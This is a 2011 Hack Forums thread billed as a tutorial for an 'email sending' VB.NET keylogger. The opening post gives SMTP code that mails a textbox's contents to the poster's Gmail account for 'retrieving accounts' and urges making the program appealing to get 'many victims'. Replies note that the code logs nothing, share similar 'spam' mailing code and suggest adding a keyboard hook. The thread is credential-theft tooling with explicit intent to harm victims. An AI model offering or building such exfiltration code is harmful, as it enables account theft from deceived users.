Hack Forums
[.NET] [TuT] How to make a email sending vb.net keylogger - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [TuT] How to make a email sending vb.net keylogger (/showthread.php?tid=1688422)



[TuT] How to make a email sending vb.net keylogger - Almighteh - Sep 4, 2011

May be useful for retrieving accounts of any sort(and Andrew Downsend yes teh code is mine):

Add this at top of the code:
Code
Imports System.Web
Imports System.IO
Imports System.Net.Mail

Now paste this into a btton or something that will trigger it (picture box or even a checkbox) :
Code
Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "password")
        SmtpServer.Port = 587
        SmtpServer.Host = "smtp.gmail.com"
        SmtpServer.EnableSsl = True
        SmtpServer.EnableSsl = True
        mail.To.Add("[email protected]")
        mail.From = New MailAddress("[email protected]")
        mail.Subject = "subjectcanbeatextbox"
        mail.Body = textbox1.textb
        SmtpServer.Send(mail)
Remember to make the thing as appealing as possible, it will get you many victims!




* - bob42 - Sep 4, 2011

This is not a keylogger, all it does is send email.


* - Nestea - Sep 4, 2011

this doesnt keylogg any information lol


* - SoulZeh - Sep 4, 2011

I think he knows it don't keylogg any information but at least he is trying, all he is doing is helping.


* - Gh0stRid3R - Sep 4, 2011

I have a problem here ::
I'm trying to send mail, but it says , smtp exception was unhandled ,error sending mail.
I'm behind a proxy 192.168.1.1 and its port is 8181 open. So, how would i make a program that would send mail?

the code is :

Imports System.Net.Mail
Public Class Form1
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Dim Mail As New MailMessage
Mail.Subject = "spam"
Mail.To.Add("[email protected]")
Mail.From = New MailAddress("[email protected]")
Mail.Body = "Hello there"

Dim SMTP As New SmtpClient("smtp.aol.com")
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("username", "password")
SMTP.Port = "587"
SMTP.Send(Mail)
End Sub

End Class




* - SoulZeh - Sep 4, 2011

(Sep 4, 2011 04:05 AM)Captain.Jack Sparrow Wrote:  I have a problem here ::
I'm trying to send mail, but it says , smtp exception was unhandled ,error sending mail.
I'm behind a proxy 192.168.1.1 and its port is 8181 open. So, how would i make a program that would send mail?

the code is :

Imports System.Net.Mail
Public Class Form1
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Dim Mail As New MailMessage
Mail.Subject = "spam"
Mail.To.Add("[email protected]")
Mail.From = New MailAddress("[email protected]")
Mail.Body = "Hello there"

Dim SMTP As New SmtpClient("smtp.aol.com")
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("username", "password")
SMTP.Port = "587"
SMTP.Send(Mail)
End Sub

End Class

that is what you get for copying and pasting though it a tutorial, that don't mean "oh lets copy the source and just paste it in" means read through it and understand the concept of visual Basic's




* - Almighteh - Sep 4, 2011

Yeah I meant it sends whatever they put in the textboxed


* - Renn0 - Sep 4, 2011

For starters try to implement a Keyboard Hook.